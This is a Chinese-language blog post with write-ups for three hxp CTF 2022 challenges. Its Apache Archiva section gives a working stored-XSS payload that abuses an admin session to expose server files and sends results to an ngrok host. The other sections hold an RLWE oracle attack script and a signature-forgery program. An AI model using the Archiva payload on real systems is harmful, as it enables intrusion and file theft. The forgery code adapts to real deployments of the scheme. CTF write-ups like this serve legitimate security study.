廢文集中區

hxp CTF 2022 WriteUps

發表於
分類於 CTF
English

這次周末隨便在 TSJ 裡面解了個幾題來玩而已。

web

archived

這題是個 Apache Archiva 的 0day 題，有個 admin bot 會固定存取 /repository/internal 頁面，所以要想辦法 XSS，然後用某些方法讀 /flag.txt。

XSS 的部分很簡單，就用它給的低權限帳號登入，然後上傳個 artifact，其中 group id 的部分塞 html 就能成了。不過經測試發現裡面不能有 . 和 /，所以我用 <svg onload="import(atob('...'))"> 的方法比較簡單方便。

之後要找方法利用 admin 的權限 XSS 去透過 server api 讀檔，我這邊是利用 admin 的 repo 編輯權限把 repo 的根目錄改成 /，那麼用 /repository/internal/flag.txt 就能讀到 flag 了。

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
var fr = document.createElement('iframe')
fr.src = `${location.protocol}//${location.host}/`
fr.onload = async () => {
	new Image().src = 'https://REDACTED.ngrok.io/iframe_load'
	await sleep(1000)
	try {
		fr.contentWindow.$.ajax('restServices/archivaServices/managedRepositoriesService/updateManagedRepository', {
			type: 'POST',
			data: JSON.stringify({
				id: 'internal',
				name: 'Archiva Managed Internal Repository',
				layout: 'default',
				indexDirectory: '/archiva-data/repositories/internal/.indexer',
				location: '/',
				cronExpression: '0 0 * * * ?',
				daysOlder: 30,
				retentionCount: 2,
				scanned: true,
				deleteReleasedSnapshots: false,
				stageRepoNeeded: false,
				snapshots: false,
				releases: true,
				blockRedeployments: true,
				description: null,
				skipPackedIndexCreation: false,
				feedsUrl: 'http://localhost:8055/feeds/internal',
				url: 'http://localhost:8055/repository/internal',
				modified: false
			}),
			contentType: 'application/json',
			dataType: 'json',
			success: data => {
				new Image().src =
					'https://REDACTED.ngrok.io/done?data=' + encodeURIComponent(JSON.stringify(data))
			},
			error: data => {
				new Image().src =
					'https://REDACTED.ngrok.io/error2?data=' + encodeURIComponent(JSON.stringify(data))
			}
		})
	} catch (e) {
		new Image().src = 'https://REDACTED.ngrok.io/error?data=' + encodeURIComponent(JSON.stringify(e.message))
	}
}
fr.style.width = '100%'
fr.style.height = '100vh'
document.body.appendChild(fr)
// hxp{xSS_h3re_Xs5_ther3_X5S_ev3rywhere}

crypto

whistler

#!/usr/bin/env python3
import struct, hashlib, random, os
from Crypto.Cipher import AES

n = 256
q = 11777
w = 8

################################################################

sample = lambda rng: [bin(rng.getrandbits(w)).count('1') - w//2 for _ in range(n)]

add = lambda f,g: [(x + y) % q for x,y in zip(f,g)]

def mul(f,g):
    r = [0]*n
    for i,x in enumerate(f):
        for j,y in enumerate(g):
            s,k = divmod(i+j, n)
            r[k] += (-1)**s * x*y
            r[k] %= q
    return r

################################################################

def genkey():
    a = [random.randrange(q) for _ in range(n)]
    rng = random.SystemRandom()
    s,e = sample(rng), sample(rng)
    b = add(mul(a,s), e)
    return s, (a,b)

center = lambda v: min(v%q, v%q-q, key=abs)
extract = lambda r,d: [2*t//q for u,t in zip(r,d) if u]

ppoly = lambda g: struct.pack(f'<{n}H', *g).hex()
pbits = lambda g: ''.join(str(int(v)) for v in g)
hbits = lambda g: hashlib.sha256(pbits(g).encode()).digest()
mkaes = lambda bits: AES.new(hbits(bits), AES.MODE_CTR, nonce=b'')

def encaps(pk):
    seed = os.urandom(32)
    rng = random.Random(seed)
    a,b = pk
    s,e = sample(rng), sample(rng)
    c = add(mul(a,s), e)
    d = add(mul(b,s), e)
    r = [int(abs(center(2*v)) > q//7) for v in d]
    bits = extract(r,d)
    return bits, (c,r)

def decaps(sk, ct):
    s = sk
    c,r = ct
    d = mul(c,s)
    return extract(r,d)

################################################################

if __name__ == '__main__':

    while True:
        sk, pk = genkey()
        dh, ct = encaps(pk)
        if decaps(sk, ct) == dh:
            break

    print('pk[0]:', ppoly(pk[0]))
    print('pk[1]:', ppoly(pk[1]))

    print('ct[0]:', ppoly(ct[0]))
    print('ct[1]:', pbits(ct[1]))

    flag = open('flag.txt').read().strip()
    print('flag: ', mkaes([0]+dh).encrypt(flag.encode()).hex())

    for _ in range(2048):
        c = list(struct.unpack(f'<{n}H', bytes.fromhex(input())))
        r = list(map('01'.index, input()))
        if len(r) != n or sum(r) < n//2: exit('!!!')

        bits = decaps(sk, (c,r))

        print(mkaes([1]+bits).encrypt(b'hxp<3you').hex())

這題是某個 Zq[x]/x256+1\mathbb{Z}_q[x]/x^{256}+1 下的 RLWE 題目。public key 是 (a(x),b(x))=(a(x),a(x)s(x)+e(x))(a(x),b(x))=(a(x),a(x)s(x)+e(x))，其中 a(x)a(x) 的係數都是 uniform random 的，而 s(x),e(x)s(x),e(x) 的係數都很小。

加密則是另外選係數一樣很小的 s′(x),e′(x)s'(x), e'(x)，然後計算 c(x)=a(x)s′(x)+e′(x)c(x)=a(x)s'(x)+e'(x) 和 d(x)=b(x)s′(x)+e′(x)d(x)=b(x)s'(x)+e'(x)，然後再取一個隨機 bitstring rr 之後以 (c(x),r)(c(x),r) 作為密文。

顯然這邊有個 c(x)s(x)≈d(x)c(x)s(x) \approx d(x) 的關係，所以它用了 extract(r,d) 去算出了另一個 bitstring，然後用它導出 AES key 去加密 flag。

之後有個 2048 次的 oracle 可以讓你決定 c(x),rc(x), r，然後拿 decaps(sk, (c,r)) 的結果弄另一組 AES key 去加密 hxp<3you。

這題雖然看起來很複雜，不過實際上根本不用了解 RLWE 就能解了。

關鍵在於 AES CTR 的 nonce 固定，所以 ciphertext 不會變，因此從這邊有辦法知道 decaps(sk, (c,r)) 是否有改變的這個事實。

再來關鍵是 extract 被定義為 lambda r,d: [2*t//q for u,t in zip(r,d) if u]，所以 r 的意思其實是告訴它要取 d 解密出來的哪些 bits。所以它輸出的 bits 長度其實就只有 sum(r) 而已，所以可操作空間很大。

題目有要求說 sum(r) >= 128，所以透過取 r 為 [1]*128+[1,0,...], [1]*128+[0,1,...] 這樣下去的話可以發現輸出的 ciphertext 只有兩個可能，因此就能知道 [2*t//q for t in d] 的後半是多少，不過這邊會有兩種可能要爆。然後再微調一下這個方法拿到前半的 bits，因此會有四個 [2*t//q for t in d] 的可能。

之後把四種可能取原本 r 的 subset 然後都試解密看看就能拿到 flag 了。

from pwn import process, remote
from Crypto.Cipher import AES
import struct, hashlib


n = 256
q = 11777
w = 8

ppoly = lambda g: struct.pack(f"<{n}H", *g).hex()
pbits = lambda g: "".join(str(int(v)) for v in g)
hbits = lambda g: hashlib.sha256(pbits(g).encode()).digest()
mkaes = lambda bits: AES.new(hbits(bits), AES.MODE_CTR, nonce=b"")

# io = process(["python", "vuln.py"])
io = remote("116.203.41.47", 4421)
io.recvuntil(b"ct[0]: ")
c = list(struct.unpack(f"<{n}H", bytes.fromhex(io.recvlineS().strip())))
io.recvuntil(b"ct[1]: ")
r = list(map(int, io.recvlineS().strip()))
io.recvuntil(b"flag:  ")
flag = bytes.fromhex(io.recvlineS().strip())


def recover_first_half():
    res = []
    r = [1] * 128
    for i in range(128):
        t = [0] * 128
        t[i] = 1
        rr = t + r
        io.sendline(ppoly(c).encode())
        io.sendline(pbits(rr).encode())
    for _ in range(128):
        res.append(bytes.fromhex(io.recvlineS().strip()))
    assert len(set(res)) == 2
    for one in set(res):
        yield [int(x == one) for x in res]


def recover_second_half():
    res = []
    r = [1] * 128
    for i in range(128):
        t = [0] * 128
        t[i] = 1
        rr = r + t
        io.sendline(ppoly(c).encode())
        io.sendline(pbits(rr).encode())
    for _ in range(128):
        res.append(bytes.fromhex(io.recvlineS().strip()))
    assert len(set(res)) == 2
    for one in set(res):
        yield [int(x == one) for x in res]


for first in recover_first_half():
    for second in recover_second_half():
        full_bits = first + second
        dh = [x for x, y in zip(full_bits, r) if y]
        print(mkaes([0] + dh).decrypt(flag))
# hxp{e4zy_p34zY_p34nuT_Bu7t3r}

按照別人所說，這題似乎也有辦法在 256 次 oracle 內透過 CRT 恢復 s(x)s(x)。

sequoa

這題的目標是攻擊 A Transformation for Lifting Discrete Logarithm Based Cryptography to Post-Quantum Cryptography 這篇論文所提出的一個 PQC。有趣的地方是這篇論文反駁了這題作者所發過的另一篇論文 Entropoids: Groups in Disguise 的結論，也就是 entropoid 的 DLP 都能 reduce 到它 underlying field 的 DLP。

而這題它用了 sequoa359 的參數，也就是 field 是 K=F2359/(x359−1)K=\mathbb{F}_{2^{359}}/(x^{359}-1)，而它分解之後最高的 degree 大概 179 而已，所以透過 sage 是有辦法解出 DLP 的。所以顯然這題的預期解是透過某些神奇的數學把 entropoid DLP g(x1,x2)g^{(x_1, x_2)} reduce 到 KK 解決吧。

不過我不會那些數學，但倒是有成功的參考 paper 和 reference implementation 的 C++ code 發現說它的 signature verification 是有問題的。

signature 本身包含了 (s0,s1,e0,e1,m)(s_0, s_1, e_0, e_1, m) 的值，然後計算 rv=g(s0,s1)y(e0,e1)r_v=g^{(s_0,s_1)} y^{(e_0,e_1)}，之後驗證 H(rv∣∣y∣∣m)=?(e0,e1)H(r_v||y||m) \stackrel{?}{=} (e_0,e_1) 是否成立。而經過我的一些測試發現 g(0,0)=0g^{(0,0)}=0，因此 rv=0r_v=0，所以最後的 hash 是不會變的。因此我們可以先計算出 hash 得到需要的 e0,e1e_0, e_1，然後修改 signature 就能拿到一個 valid signature 了。

int main(int argc, char **argv)
{
    std::array<uint8_t, CRYPTO_PUBLICKEYBYTES> pk;
    ustring tmp = unhex(argv[1]);
    memcpy(pk.data(), tmp.data(), CRYPTO_PUBLICKEYBYTES);

    ustring sm(23 * 4, 0);

    ustring m(23 * 4, 0);
    unsigned long long mlen;
    unsigned char out[23*2];
    if(crypto_compute_e_verification(out, m.data(), &mlen, sm.data(), sm.size(), pk.data())){
		// patch sign.cpp to add crypto_compute_e_verification that writes e0 and e1 to out
        return 1;
    }
    std::cout << "DONE" << std::endl;
    memcpy(sm.data() + 23*2, out, 23*2);
    std::cout << tohex(sm) << std::endl;
    ustring m2(23 * 4, 0);
    unsigned long long mlen2;
    if (crypto_sign_open(m2.data(), &mlen2, sm.data(), sm.size(), pk.data()))
        return 3;
    return 0;
}
// hxp{Th4nKx_4_th3_phUn_Ch4l1En9e}